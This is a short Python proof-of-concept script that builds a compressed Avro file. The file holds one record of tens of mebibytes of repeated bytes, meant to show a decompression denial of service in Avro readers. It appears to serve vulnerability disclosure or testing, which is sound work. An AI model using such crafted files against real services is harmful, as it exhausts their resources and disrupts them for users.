generate_poc.py

import argparse
import hashlib
import json
from pathlib import Path

import avro.io
import avro.schema
from avro.datafile import DataFileWriter


SCHEMA_JSON = {
    "type": "record",
    "name": "ModelShard",
    "namespace": "org.example.ml",
    "fields": [
        {"name": "tensor_name", "type": "string"},
        {"name": "tensor_bytes", "type": "bytes"},
        {"name": "notes", "type": "string"},
    ],
}


def sha256_file(path: Path) -> str:
    h = hashlib.sha256()
    with path.open("rb") as handle:
        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
            h.update(chunk)
    return h.hexdigest()


ROOT = Path(__file__).resolve().parent


def main() -> None:
    parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
    parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
    parser.add_argument("--size-mib", type=int, default=64)
    parser.add_argument("--codec", default="bzip2")
    args = parser.parse_args()

    out_path = Path(args.output)
    out_path.parent.mkdir(parents=True, exist_ok=True)

    payload = b"A" * (args.size_mib * 1024 * 1024)
    schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
    datum = {
        "tensor_name": "dense.weight",
        "tensor_bytes": payload,
        "notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
    }

    with out_path.open("wb") as handle:
        writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
        writer.append(datum)
        writer.close()

    info = {
        "artifact": str(out_path),
        "codec": args.codec,
        "payload_bytes": len(payload),
        "artifact_bytes": out_path.stat().st_size,
        "sha256": sha256_file(out_path),
    }
    print(json.dumps(info, indent=2))


if __name__ == "__main__":
    main()